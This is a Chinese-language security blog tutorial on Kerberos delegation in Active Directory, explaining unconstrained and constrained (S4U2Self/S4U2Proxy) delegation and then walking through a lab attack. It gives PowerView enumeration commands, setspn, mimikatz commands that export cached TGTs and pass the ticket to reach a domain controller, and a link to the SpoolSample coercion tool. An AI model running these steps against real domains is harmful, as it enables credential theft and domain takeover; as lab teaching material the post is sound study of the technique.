Kerberos之委派学习(上)

  • A+
所属分类:安全文章

文章来源|MS08067 内网安全知识星球

本文作者:time(Ms08067内网安全小组成员)


委派 

A 使用 kerberos 身份访问验证服务 B,B 利用 A 的身份去访问服务器 C,此过程就是委派。

Kerberos之委派学习(上)

例如:user访问http服务,而http需要访问其他主机的 SQL server 数据库,但不知道user是否有权限访问sqlserver,此时HTTP会利用user的身份去访问sqlserver,如果有权限访问sqlserver,才会访问成功。


非约束委派(Unconstraineddelegation)user 从KDC 获得TGT发送访问的server1,server1拿到TGT之后可以通过TGT访问任意其他服务的过程被称为非约束委派


Kerberos之委派学习(上)


约束委派 

加入了S5U2Self和S4U2Proxy的kerberos协议扩展 S5U2Self:让服务代表用户身份向 KDC 验证用户的合法性,并获得ST1S4U2Proxy:让服务代表用户身份通过 ST1重新获取ST2,并不允许服务以用户的身份访问其他的服务。不会让user的TGT直接发送给服务,对服务认证信息做了限制。

Kerberos之委派学习(上)


1. 用户向 Service1 发送请求。

2. 这时在官方文档中的介绍是在这一流程开始之前 Service1 已经通过 KRB_AS_REQ 得到了用户用来访问 Service1 的 TGT,然后通过 S4U2self 扩展模拟 用户向 KDC 请求 ST。

3. KDC 这时返回给 Service1 一个用于用户验证 Service1 的 ST(我们称为 ST1), 并且 Service1 用这个ST1完成和用户的验证过程。 

4. Service1 在步骤 3 使用模拟用户申请的 ST1 完成与用户的验证,然后响应用户。注:这个过程中其实 Service1 是获得了用户的TGT和ST1的,但是S4U2Self扩展不允许Service1代表用户去请求其他的服务。

5. 用户再次向Service1发起请求,此时Service1需要以用户的身份访问Service2。这里官方文档提到了两个点:

A.Service1已经验证通过,并且有一个有效的TGT。

B.Service1有从用户到Service1的forwardableST(可转发 ST)。个人认为这里的forwardable ST其实也就是ST1。

6. Service1代表用户向Service2请求一个用于认证Service2的ST(我们称为 ST2)。用户在ST1中通过cname(client name)和crealm(client realm)字段标识。

7. KDC 在接收到步骤6中Service1的请求之后,会验证PAC(特权属性证书,在第一篇中有说明)的数字签名。如果验证成功或者这个请求没有PAC(不能验证失败),KDC将返回 ST2给Service1,不过这个ST2中cname和crealm标识的是用户而不是Service1。

8. Service1代表用户使用ST2请求Service2。Service2判断这个请求来自已经通过KDC验证的用户。

9. Service2 响应 Service1的请求。

10. Service1响应用户的请求。


域内发现委派用户 

非约束委派

通过 Import-ModulePowerView.ps1 加载 PowerView 脚本之后使用下面的命令进行查询。

Get-NetUser -Unconstrained -Domainyunying.lab 

非约束委派主机 

Get-NetComputer -Unconstrained -Domainyunying.lab


约束委派 

查询域中配置约束委派的账户:

Get-DomainUser –TrustedToAuth -Propertiesdistinguishedname,useraccountcontrol,msds-allowedtodelegat eto| f1


查看设置了约束委派的用户:

Get-DomainUser -TrustedToAuth-Domainyunying.lab

约束委派主机 

Get-DomainComputer -TrustedToAuth --Domainyunying.lab

非约束委派利用 域内只有服务账户才可以委派功能,设置用户为服务账户

setspn -U -Avariant/golden 用户 

setspn -l 用户

当任意用户来访问时服务时,会缓存任意用户的 TGT,然后可以利用该 TGT访问任意


提取缓存 TGT privilege::debug sekurlsa::tickets /export 将票据 TGT 注入当前会话 kerberos::ptt [0;1622d8][email protected] #(票据名)

kerberos::list 访问任意域机器 dir \name$c #不能使用 ip 

Enter-PSSession -ComputerName WIN-QFPHJSM1L7G


实验环境搭建 

域控:172.168.1.1 administrator ‘

win7:172.168.1.2 testuse

Kerberos之委派学习(上)

设置非委派

Kerberos之委派学习(上)


实验开始 

当有任意机器向非委派主机发出申请时

Kerberos之委派学习(上)

会留下该用户 TGT 缓存

Kerberos之委派学习(上)

加载票据进入内存

Kerberos之委派学习(上)

成功访问(必须是 system 权限)

Kerberos之委派学习(上)

也可以用 Enter-PSSession -ComputerName DC 远程控制,是powershell控制台

Kerberos之委派学习(上)

这 里 有 一 个 点 就 是 sekurlsa::tickets 是 查 看 内 存 中 所 有 的 票 据 , 而 kerberos::list 只是查看当前会话中的 kerberos 票据。

利用 pooler 打印机服务强制域控向其该服务器认证获得 TGT

https://github.com/leechristensen/SpoolSample


参考链接:

https://www.freebuf.com/articles/network/198381.html


扫描下方二维码加入星球学习

加入后邀请你进入内部微信群,内部微信群永久有效!

Kerberos之委派学习(上) Kerberos之委派学习(上)

Kerberos之委派学习(上)Kerberos之委派学习(上)

Kerberos之委派学习(上) Kerberos之委派学习(上)


和4000+位同学一起加入星球学习


Kerberos之委派学习(上)

本文始发于微信公众号(Ms08067安全实验室):Kerberos之委派学习(上)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: